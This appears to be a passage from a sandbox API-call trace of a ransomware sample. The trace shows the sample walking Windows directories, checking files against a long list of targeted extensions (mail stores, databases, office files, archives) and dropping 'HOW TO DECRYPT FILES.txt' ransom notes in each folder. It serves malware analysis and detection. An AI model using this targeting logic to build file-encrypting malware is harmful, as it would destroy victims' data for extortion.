(pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.qbo") returned 0 [0127.177] lstrlenA (lpString="*.qbo") returned 5 [0127.177] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.qbx") returned 0 [0127.177] lstrlenA (lpString="*.qbx") returned 5 [0127.177] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.qba") returned 0 [0127.177] lstrlenA (lpString="*.qba") returned 5 [0127.177] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.qby") returned 0 [0127.177] lstrlenA (lpString="*.qby") returned 5 [0127.177] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.qbj") returned 0 [0127.177] lstrlenA (lpString="*.qbj") returned 5 [0127.177] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.ofx") returned 0 [0127.177] lstrlenA (lpString="*.ofx") returned 5 [0127.177] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.qif") returned 0 [0127.177] lstrlenA (lpString="*.qif") returned 5 [0127.177] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.mye") returned 0 [0127.177] lstrlenA (lpString="*.mye") returned 5 [0127.177] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.mbox") returned 0 [0127.177] lstrlenA (lpString="*.mbox") returned 6 [0127.178] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.eml") returned 0 [0127.178] lstrlenA (lpString="*.eml") returned 5 [0127.178] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.pst") returned 0 [0127.178] lstrlenA (lpString="*.pst") returned 5 [0127.178] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.ost") returned 0 [0127.178] lstrlenA (lpString="*.ost") returned 5 [0127.178] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.idx") returned 0 [0127.178] lstrlenA (lpString="*.idx") returned 5 [0127.178] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.dbx") returned 0 [0127.178] lstrlenA (lpString="*.dbx") returned 5 [0127.178] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.sql") returned 0 [0127.178] lstrlenA (lpString="*.sql") returned 5 [0127.178] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.mdb") returned 0 [0127.178] lstrlenA (lpString="*.mdb") returned 5 [0127.178] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.fdb") returned 0 [0127.178] lstrlenA (lpString="*.fdb") returned 5 [0127.178] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.wab") returned 0 [0127.178] lstrlenA (lpString="*.wab") returned 5 [0127.178] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.dat") returned 0 [0127.179] lstrlenA (lpString="*.dat") returned 5 [0127.179] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.txt") returned 0 [0127.179] lstrlenA (lpString="*.txt") returned 5 [0127.179] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.jpeg") returned 0 [0127.179] lstrlenA (lpString="*.jpeg") returned 6 [0127.179] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.jpg") returned 0 [0127.179] lstrlenA (lpString="*.jpg") returned 5 [0127.179] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.png") returned 0 [0127.179] lstrlenA (lpString="*.png") returned 5 [0127.179] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.php") returned 0 [0127.179] lstrlenA (lpString="*.php") returned 5 [0127.179] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.cs") returned 0 [0127.179] lstrlenA (lpString="*.cs") returned 4 [0127.179] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.cpp") returned 0 [0127.179] lstrlenA (lpString="*.cpp") returned 5 [0127.179] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.rar") returned 0 [0127.179] lstrlenA (lpString="*.rar") returned 5 [0127.179] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.zip") returned 0 [0127.179] lstrlenA (lpString="*.zip") returned 5 [0127.180] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.html") returned 0 [0127.180] lstrlenA (lpString="*.html") returned 6 [0127.180] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.htm") returned 0 [0127.180] lstrlenA (lpString="*.htm") returned 5 [0127.180] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.xlsx") returned 0 [0127.180] lstrlenA (lpString="*.xlsx") returned 6 [0127.180] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.xls") returned 0 [0127.180] lstrlenA (lpString="*.xls") returned 5 [0127.180] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.mp4") returned 0 [0127.180] lstrlenA (lpString="*.mp4") returned 5 [0127.180] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.ppt") returned 0 [0127.180] lstrlenA (lpString="*.ppt") returned 5 [0127.180] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.pptx") returned 0 [0127.180] lstrlenA (lpString="*.pptx") returned 6 [0127.180] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.doc") returned 0 [0127.180] lstrlenA (lpString="*.doc") returned 5 [0127.180] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.dot") returned 0 [0127.181] lstrlenA (lpString="*.dot") returned 5 [0127.181] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.docx") returned 0 [0127.181] lstrlenA (lpString="*.docx") returned 6 [0127.181] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.7z") returned 0 [0127.181] lstrlenA (lpString="*.7z") returned 4 [0127.181] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax", pszSpec="*.tar") returned 0 [0127.181] lstrlenA (lpString="*.tar") returned 5 [0127.182] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35096d4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa35096d4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa35096d4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offset.ax", cAlternateFileName="")) returned 1 [0127.182] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.182] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Offset.ax") returned -1 [0127.182] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Offset.ax") returned -1 [0127.182] lstrcmpiA (lpString1="", lpString2="Offset.ax") returned -1 [0127.182] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\DirectShowTap.ax") returned="DirectShowTap.ax" [0127.182] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Filters\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\" [0127.182] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\") returned="" [0127.182] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" [0127.182] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\filters\\how to decrypt files.txt")) returned 0x20 [0127.182] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\", lpString2="Offset.ax" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\Offset.ax") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\Offset.ax" [0127.183] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32a80cf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa32a80cf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa32ce22f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTStreamSink.ax", cAlternateFileName="")) returned 1 [0127.183] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.183] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RTStreamSink.ax") returned -1 [0127.183] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RTStreamSink.ax") returned -1 [0127.183] lstrcmpiA (lpString1="", lpString2="RTStreamSink.ax") returned -1 [0127.183] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\Offset.ax") returned="Offset.ax" [0127.183] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Filters\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\" [0127.183] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\") returned="" [0127.183] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" [0127.183] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\filters\\how to decrypt files.txt")) returned 0x20 [0127.183] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\", lpString2="RTStreamSink.ax" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\RTStreamSink.ax") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\RTStreamSink.ax" [0127.184] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34bd413, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa34bd413, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa34bd413, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0127.184] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.184] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="soniccolorconverter.ax") returned -1 [0127.184] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="soniccolorconverter.ax") returned -1 [0127.184] lstrcmpiA (lpString1="", lpString2="soniccolorconverter.ax") returned -1 [0127.184] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\RTStreamSink.ax") returned="RTStreamSink.ax" [0127.184] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Filters\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\" [0127.184] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Filters\\") returned="" [0127.184] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" [0127.184] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Filters\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\filters\\how to decrypt files.txt")) returned 0x20 [0127.184] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\", lpString2="soniccolorconverter.ax" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Filters\\soniccolorconverter.ax") returned="C:\\Windows\\ehome\\CreateDisc\\Filters\\soniccolorconverter.ax" [0127.185] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34bd413, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa34bd413, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa34bd413, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 0 [0127.185] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.185] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02bb459, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xe02bb459, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xe02bb459, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Pconfig.dcf", cAlternateFileName="")) returned 1 [0127.185] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.185] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Pconfig.dcf") returned -1 [0127.185] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Pconfig.dcf") returned -1 [0127.185] lstrcmpiA (lpString1="", lpString2="Pconfig.dcf") returned -1 [0127.185] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\*.*") returned="*.*" [0127.185] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\") returned="C:\\Windows\\ehome\\CreateDisc\\" [0127.185] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\") returned="" [0127.185] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" [0127.185] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\how to decrypt files.txt")) returned 0x20 [0127.186] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="Pconfig.dcf" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Pconfig.dcf") returned="C:\\Windows\\ehome\\CreateDisc\\Pconfig.dcf" [0127.186] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30df04c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa30df04c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3235cae, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xef8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SBEServer.exe", cAlternateFileName="")) returned 1 [0127.186] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.186] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SBEServer.exe") returned -1 [0127.186] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SBEServer.exe") returned -1 [0127.186] lstrcmpiA (lpString1="", lpString2="SBEServer.exe") returned -1 [0127.186] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Pconfig.dcf") returned="Pconfig.dcf" [0127.186] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\") returned="C:\\Windows\\ehome\\CreateDisc\\" [0127.186] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\") returned="" [0127.186] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" [0127.186] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\how to decrypt files.txt")) returned 0x20 [0127.187] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="SBEServer.exe" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\SBEServer.exe") returned="C:\\Windows\\ehome\\CreateDisc\\SBEServer.exe" [0127.187] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8863c14c, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8863c14c, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43f45420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SBEServerPS.dll", cAlternateFileName="")) returned 1 [0127.187] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.187] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SBEServerPS.dll") returned -1 [0127.187] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SBEServerPS.dll") returned -1 [0127.187] lstrcmpiA (lpString1="", lpString2="SBEServerPS.dll") returned -1 [0127.187] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\SBEServer.exe") returned="SBEServer.exe" [0127.187] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\") returned="C:\\Windows\\ehome\\CreateDisc\\" [0127.187] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\") returned="" [0127.187] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" [0127.188] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\how to decrypt files.txt")) returned 0x20 [0127.188] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="SBEServerPS.dll" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\SBEServerPS.dll") returned="C:\\Windows\\ehome\\CreateDisc\\SBEServerPS.dll" [0127.188] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ce645a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SFXPlugins", cAlternateFileName="SFXPLU~1")) returned 1 [0127.188] lstrcmpA (lpString1=".", lpString2="SFXPlugins") returned -1 [0127.189] lstrcmpA (lpString1="..", lpString2="SFXPlugins") returned -1 [0127.189] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\SBEServerPS.dll") returned="SBEServerPS.dll" [0127.189] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="SFXPlugins" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins") returned="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins" [0127.189] lstrlenA (lpString="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins") returned 38 [0127.189] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ce645a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501550, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.190] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.190] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ce645a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.190] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.190] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.190] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88bbd3bd, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x88bbd3bd, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4487e190, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="StandardFX_Plugin.dll", cAlternateFileName="")) returned 1 [0127.190] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.190] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="StandardFX_Plugin.dll") returned -1 [0127.190] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="StandardFX_Plugin.dll") returned -1 [0127.190] lstrcmpiA (lpString1="", lpString2="StandardFX_Plugin.dll") returned -1 [0127.190] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\*.*") returned="*.*" [0127.190] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\") returned="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\" [0127.191] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\") returned="" [0127.191] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\HOW TO DECRYPT FILES.txt" [0127.191] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\sfxplugins\\how to decrypt files.txt")) returned 0xffffffff [0127.191] CreateFileA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\sfxplugins\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, 